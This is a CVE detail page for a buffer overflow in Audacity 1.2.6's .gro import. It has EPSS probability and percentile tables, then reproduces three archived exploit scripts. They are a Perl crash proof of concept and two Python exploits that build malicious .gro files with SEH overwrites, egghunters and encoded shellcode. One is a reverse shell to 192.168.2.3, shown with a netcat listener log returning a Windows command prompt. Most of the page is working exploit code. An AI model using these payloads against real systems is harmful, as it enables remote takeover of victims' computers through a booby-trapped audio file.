CVE-2009-0490 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	10.6%	–	–
2022-04-03	–	–	10.6%	–	–
2022-11-06	–	–	10.6%	–	–
2023-01-01	–	–	10.6%	–	–
2023-02-26	–	–	10.6%	–	–
2023-03-12	–	–	–	8.07%	–
2023-05-21	–	–	–	6.86%	–
2024-02-11	–	–	–	6.86%	–
2024-06-02	–	–	–	6.86%	–
2024-09-29	–	–	–	7.14%	–
2024-12-22	–	–	–	19.94%	–
2025-01-19	–	–	–	19.94%	–
2025-03-18	–	–	–	–	56.68%
2025-03-18	–	–	–	–	56.68,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	88%
2022-04-03	94%
2022-11-06	95%
2023-01-01	94%
2023-02-26	95%
2023-03-12	93%
2023-05-21	93%
2024-02-11	94%
2024-06-02	94%
2024-09-29	94%
2024-12-22	96%
2025-01-19	96%
2025-03-18	98%
2025-03-18	98%

# ----------------------------------------------------------- # Author : Houssamix # ----------------------------------------------------------- # Audacity 1.2.6 (.gro file ) Local buffer overflow POC # download : http://audacity.sourceforge.net/ # Audacity® is free, open source software for recording and editing sounds. # Description: # When we select : project > import midi.. and we import ".gro" file contains long Chars # The Program Will crash and The Following Happen: # EAX:05050504 ECX:01414141 EDX:01520608 EBX:0012F154 # ESP:0012EF10 EBP:00000000 ESI:41414141 EDI:00000000 # EIP:006AEC54 audacity.006AEC54 # Access violation When Reading [41414141] # And Also The Pointer to next SEH record and SE Handler Will gonna BE Over-wrote # Poc : # -------------------------------------------------------- #!/usr/bin/perl #[*] Bug : Audacity 1.2.6 (.gro file ) Local buffer overflow use warnings; use strict; my $chars = "\x41" x 2000 ; my $file="hsmx.gro"; open(my $FILE, ">>$file") or die "Cannot open $file: $!"; print $FILE $chars; close($FILE); print "$file has been created . import it in audacity \n"; # ---------------------------------------------------------- # milw0rm.com [2009-01-01]

#!/usr/bin/env python # # Audacity <= 1.2 .gro universal buffer overflow exploit # Author: mr_me # Download: http://audacity.sourceforge.net/download/ # Tested on Wind0ws XP sp3 & Vist@ # # Greetz fly to Muts and the offensive-security team # also to my wonderful partner Vanessa F for putting up with me :P # http://www.offensive-security.com/information-security-training.php # # Original: www.milw0rm.com/exploits/7634 ################################################# # # samurai@mrme:~$ nc -lvp 4444 # listening on [any] 4444 ... # 192.168.2.3: inverse host lookup failed: Unknown server error : # Connection timed out # connect to [192.168.2.3] from (UNKNOWN) [192.168.2.3] 55164 # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # C:\Program Files\Audacity> print " [+] Creating eviL .gro file..." buff = ("\x44" * 174) buff += ("\xEB\x08\x90\x90") buff += ("\x22\x23\x17\x01") buff += "\x90"* 4 buff += ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x57\x30\x30\x54" # this is the egg... "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7") buff += ("\xCC" * 1000); buff += "W00TW00T" # Reverse shellcode to 192.168.2.3 change as you see fit (2000 bytes for space) buff += ("\x89\xe5\xd9\xc3\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x4b\x4c\x43\x5a\x4a\x4b\x50\x4d\x4b\x58\x4b\x49\x4b\x4f\x4b" "\x4f\x4b\x4f\x45\x30\x4c\x4b\x42\x4c\x46\x44\x47\x54\x4c\x4b" "\x47\x35\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x44\x38\x45\x51\x4a" "\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51" "\x4a\x4b\x50\x49\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x50" "\x31\x49\x50\x4d\x49\x4e\x4c\x4d\x54\x49\x50\x44\x34\x44\x47" "\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44\x47" "\x4b\x50\x54\x47\x54\x46\x48\x44\x35\x4b\x55\x4c\x4b\x51\x4f" "\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c" "\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x45\x53\x46\x4c\x4c\x4b" "\x4d\x59\x42\x4c\x51\x34\x45\x4c\x45\x31\x49\x53\x46\x51\x49" "\x4b\x45\x34\x4c\x4b\x47\x33\x50\x30\x4c\x4b\x51\x50\x44\x4c" "\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51" "\x4e\x42\x48\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f" "\x4e\x36\x43\x56\x50\x53\x45\x36\x42\x48\x46\x53\x50\x32\x45" "\x38\x43\x47\x44\x33\x46\x52\x51\x4f\x51\x44\x4b\x4f\x48\x50" "\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x4e" "\x36\x51\x4f\x4c\x49\x4a\x45\x45\x36\x4b\x31\x4a\x4d\x44\x48" "\x45\x52\x46\x35\x42\x4a\x44\x42\x4b\x4f\x48\x50\x45\x38\x4e" "\x39\x45\x59\x4c\x35\x4e\x4d\x51\x47\x4b\x4f\x49\x46\x46\x33" "\x51\x43\x51\x43\x51\x43\x50\x43\x51\x43\x47\x33\x51\x43\x4b" "\x4f\x4e\x30\x42\x48\x49\x50\x49\x38\x45\x52\x45\x53\x42\x46" "\x42\x48\x44\x51\x51\x4c\x43\x56\x50\x53\x4b\x39\x4d\x31\x4d" "\x45\x43\x58\x4a\x4c\x4c\x39\x4e\x4a\x43\x50\x51\x47\x4b\x4f" "\x4e\x36\x42\x4a\x42\x30\x46\x31\x46\x35\x4b\x4f\x48\x50\x42" "\x46\x43\x5a\x42\x44\x43\x56\x42\x48\x45\x33\x42\x4d\x42\x4a" "\x46\x30\x50\x59\x46\x49\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x47" "\x34\x4d\x59\x4b\x52\x50\x31\x49\x50\x4a\x53\x4e\x4a\x4a\x35" "\x4d\x59\x4b\x4d\x4b\x4e\x50\x42\x46\x4d\x4b\x4e\x50\x42\x46" "\x4c\x4c\x4d\x42\x5a\x47\x48\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38" "\x42\x52\x4b\x4e\x48\x33\x42\x36\x4b\x4f\x42\x55\x47\x58\x4b" "\x4f\x49\x46\x51\x4b\x51\x47\x51\x42\x46\x31\x50\x51\x46\x31" "\x42\x4a\x43\x31\x50\x51\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e" "\x30\x42\x48\x4e\x4d\x4e\x39\x43\x35\x48\x4e\x51\x43\x4b\x4f" "\x48\x56\x42\x4a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x4e\x30\x42" "\x48\x4d\x37\x43\x49\x48\x46\x43\x49\x4b\x4f\x42\x55\x44\x44" "\x4b\x4f\x49\x46\x4b\x4f\x43\x47\x4b\x4c\x4b\x4f\x4e\x30\x43" "\x58\x4a\x50\x4c\x4a\x45\x54\x51\x4f\x50\x53\x4b\x4f\x4e\x36" "\x4b\x4f\x48\x50\x44\x4a\x41\x41") file = open('mr_mes_eviL.gro','w'); file.write(buff); file.close(); print " [+] mr_mes_eviL.gro File created successfully. :)" # milw0rm.com [2009-08-24]

#exploit.py # Audacity 1.2.6 (gro File) Buffer overflow Exploit # By: Encrypt3d.M!nd # http://m1nd3d.wordpress.com/ ##################################################### # i know this exploit already been posted, but the author # used an address as an universal,well,it's universal but # it can't be called to jump.because it cause privileged_ # exception,so you can just use it. # # Tested on: Windows xp sp3 # chars = "\x44" * 174 ns= "\xeb\x08\x90\x90" sh= "\xbe\x2e\xd1\x72" # Windows xp sp3 - msacm32.drv nops= "\x90"* 20 eggh= "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x69\x72\x61\x71\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" shellcode= "\x69\x72\x61\x71\x69\x72\x61\x71" shellcode+= ( "\x89\xe6\xd9\xc7\xd9\x76\xf4\x59\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" "\x4c\x4a\x48\x4c\x49\x43\x30\x43\x30\x45\x50\x45\x30\x4b\x39" "\x4a\x45\x46\x51\x4e\x32\x51\x74\x4c\x4b\x46\x32\x44\x70\x4c" "\x4b\x42\x72\x44\x4c\x4e\x6b\x43\x62\x42\x34\x4e\x6b\x51\x62" "\x47\x58\x44\x4f\x48\x37\x51\x5a\x45\x76\x46\x51\x49\x6f\x45" "\x61\x4f\x30\x4e\x4c\x47\x4c\x51\x71\x51\x6c\x45\x52\x46\x4c" "\x47\x50\x4f\x31\x4a\x6f\x44\x4d\x45\x51\x4f\x37\x4d\x32\x48" "\x70\x42\x72\x46\x37\x4c\x4b\x46\x32\x42\x30\x4e\x6b\x50\x42" "\x45\x6c\x47\x71\x4e\x30\x4e\x6b\x51\x50\x51\x68\x4c\x45\x4f" "\x30\x44\x34\x51\x5a\x46\x61\x48\x50\x42\x70\x4c\x4b\x50\x48" "\x42\x38\x4c\x4b\x50\x58\x51\x30\x46\x61\x4e\x33\x4d\x33\x47" "\x4c\x43\x79\x4c\x4b\x50\x34\x4c\x4b\x46\x61\x4a\x76\x46\x51" "\x49\x6f\x44\x71\x49\x50\x4c\x6c\x4b\x71\x4a\x6f\x46\x6d\x47" "\x71\x4f\x37\x46\x58\x4b\x50\x43\x45\x4a\x54\x43\x33\x43\x4d" "\x4b\x48\x47\x4b\x43\x4d\x51\x34\x43\x45\x4b\x52\x42\x78\x4c" "\x4b\x46\x38\x45\x74\x46\x61\x4a\x73\x45\x36\x4c\x4b\x46\x6c" "\x50\x4b\x4e\x6b\x43\x68\x45\x4c\x46\x61\x4e\x33\x4c\x4b\x46" "\x64\x4e\x6b\x43\x31\x4e\x30\x4e\x69\x51\x54\x46\x44\x51\x34" "\x51\x4b\x51\x4b\x43\x51\x51\x49\x51\x4a\x50\x51\x49\x6f\x49" "\x70\x51\x48\x51\x4f\x43\x6a\x4c\x4b\x42\x32\x4a\x4b\x4f\x76" "\x43\x6d\x50\x6a\x47\x71\x4e\x6d\x4d\x55\x4e\x59\x47\x70\x43" "\x30\x45\x50\x46\x30\x42\x48\x44\x71\x4e\x6b\x42\x4f\x4f\x77" "\x4b\x4f\x4a\x75\x4d\x6b\x4d\x30\x45\x4d\x46\x4a\x44\x4a\x42" "\x48\x49\x36\x4c\x55\x4d\x6d\x4d\x4d\x49\x6f\x4e\x35\x45\x6c" "\x45\x56\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x51\x65\x44" "\x45\x4d\x6b\x50\x47\x44\x53\x42\x52\x50\x6f\x42\x4a\x43\x30" "\x46\x33\x4b\x4f\x4a\x75\x42\x43\x50\x61\x50\x6c\x42\x43\x43" "\x30\x41\x41") file = open('Devil.gro','w') file.write(chars+ns+sh+nops+eggh+chars+shellcode) file.close()